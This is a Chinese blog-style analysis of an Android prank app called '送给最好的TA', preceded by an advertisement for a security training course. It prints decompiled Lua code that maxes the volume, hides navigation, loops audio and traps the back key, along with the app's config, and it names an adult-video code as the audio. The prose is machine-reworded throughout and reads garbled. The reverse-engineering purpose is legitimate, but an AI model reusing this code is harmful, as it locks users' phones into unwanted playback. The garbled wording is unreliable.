线上全程直播班第九期火热招生,立时开课!
线上&实地班级均新增内推渠道及一线互联网公司最新口试题(安天、通付盾、梆梆、奇安信等)!
咨询Q:1847076032(注明来源)

Q群692903341

表面上是病毒惨案,实际上是老司机们探求原音频的速率车赛。

php与Androlua加密互通安卓逆向927事宜送给最好的TA地痞运用剖析 Webpack

先附上剖析完之后音频的车牌:SSNI-392

利用工具:Jadx,luadec

Jadx打开查看AndroidMasifest.xml创造运用权限只要求了网络和存储读写权限。

通过Application的指定类名可以看出这个运用可能是用lua写的。

通过对apk构造剖析确定是Androlua运用。
Androlua运用启动会首先加载在lua目录下面的lua文件初始化lua环境,在加载assets目录下的init.lua初始化运用配置,然后是main.lua文件实行写好的代码
以是重点在于剖析assets下的main.lua文件。

在解开lua文件加密后就可以用luadec反编译出代码

(.require)(“import”)

;

(.import)(“android.app.”)

;

(.import)(“android.os.”)

;

(.import)(“android.widget.”)

;

(.import)(“android.view.”)

;

(.import)(“android.view.View”)

;

(.import)(“android.content.Context”)

;

(.import)(“android.media.MediaPlayer”)

;

(.import)(“android.media.AudioManager”)

;

(.import)(“com.Androlua.Ticker”)

;

((((.activity).getSystemService)((.Context).AUDIO_SERVICE)).setStreamVolume)((.AudioManager).STREAM_MUSIC, 15, (.AudioManager).FLAG_SHOW_UI)

local l_0_2 = (((.activity).getDecorView)()).setSystemUiVisibility

l_0_2((.View).SYSTEM_UI_FLAG_HIDE_NAVIGATION | (.View).SYSTEM_UI_FLAG_IMMERSIVE)

l_0_2 = .

l_0_2 = l_0_2()

local l_0_0 = nil

.m = l_0_2

l_0_2 = .m

l_0_2 = l_0_2.reset

l_0_2()

l_0_2 = .m

l_0_2 = l_0_2.setDataSource

l_0_0 = .activity

l_0_0 = l_0_0.getLuaDir

l_0_0 = l_0_0()

local l_0_1 = nil

l_0_1 = “/0.mp3”

l_0_0 = l_0_0 .. l_0_1

l_0_2(l_0_0)

l_0_2 = .m

l_0_2 = l_0_2.prepare

l_0_2()

l_0_2 = .m

l_0_2 = l_0_2.start

l_0_2()

l_0_2 = .m

l_0_2 = l_0_2.setLooping

l_0_0 = true

l_0_2(l_0_0)

l_0_2 = .Ticker

l_0_2 = l_0_2()

.ti = l_0_2

l_0_2 = .ti

l_0_2.Period = 10

l_0_2 = .ti

l_0_0 = function()

— function num : 0_0 , upvalues :

((((.activity).getSystemService)((.Context).AUDIO_SERVICE)).setStreamVolume)((.AudioManager).STREAM_MUSIC, 15, (.AudioManager).FLAG_SHOW_UI)

;

((((.activity).getDecorView)()).setSystemUiVisibility)((.View).SYSTEM_UI_FLAG_HIDE_NAVIGATION | (.View).SYSTEM_UI_FLAG_IMMERSIVE)

end

l_0_2.onTick = l_0_0

l_0_2 = .ti

l_0_2 = l_0_2.start

l_0_2()

l_0_2 = function(l_2_0, l_2_1)

— function num : 0_1 , upvalues :

if ((.string).find)((.tostring)(l_2_1), “KEYCODE_BACK”) ~= nil then

((((.activity).getSystemService)((.Context).AUDIO_SERVICE)).setStreamVolume)((.AudioManager).STREAM_MUSIC, 15, (.AudioManager).FLAG_SHOW_UI)

end

return true

end

.onKeyDown = l_0_2

由于Androlua编译lua文件时分离了编译的debug信息,以是导致luadec反编译的内容可读性较差。
但是还是可以看出写的代码

重写成Java代码后就很明显了。

这里同时也贴出init.lua的内容

.appname = “送给最好的TA”

.appver = “1.0”

.appcode = “10”

.appsdk = “15”

.path_pattern = “”

.packagename = “com.sgzh.dt”

.theme = “Theme_DeviceDefault_Dialog_NoActionBar_MinWidth”

.app_key = “”

.app_channel = “”

.developer = “”

.description = “”

.debugmode = false

.user_permission = {“INTERNET”, “WRITE_EXTERNAL_STORAGE”}

这里解释一下,网上传的这个运用会持续截图,盗窃用户信息,是缺点的

第一:在运用权限列表中没有截图权限,运用无法截图。

第二:com.nirenr.screencapture.ScreenShot(截图类)在赞助做事类中调用。

然而由于AndroidManifest.xml文件的问题导致Android系统无法识别该运用的赞助做事

再者运用主逻辑中都没有关于截图的任何调用。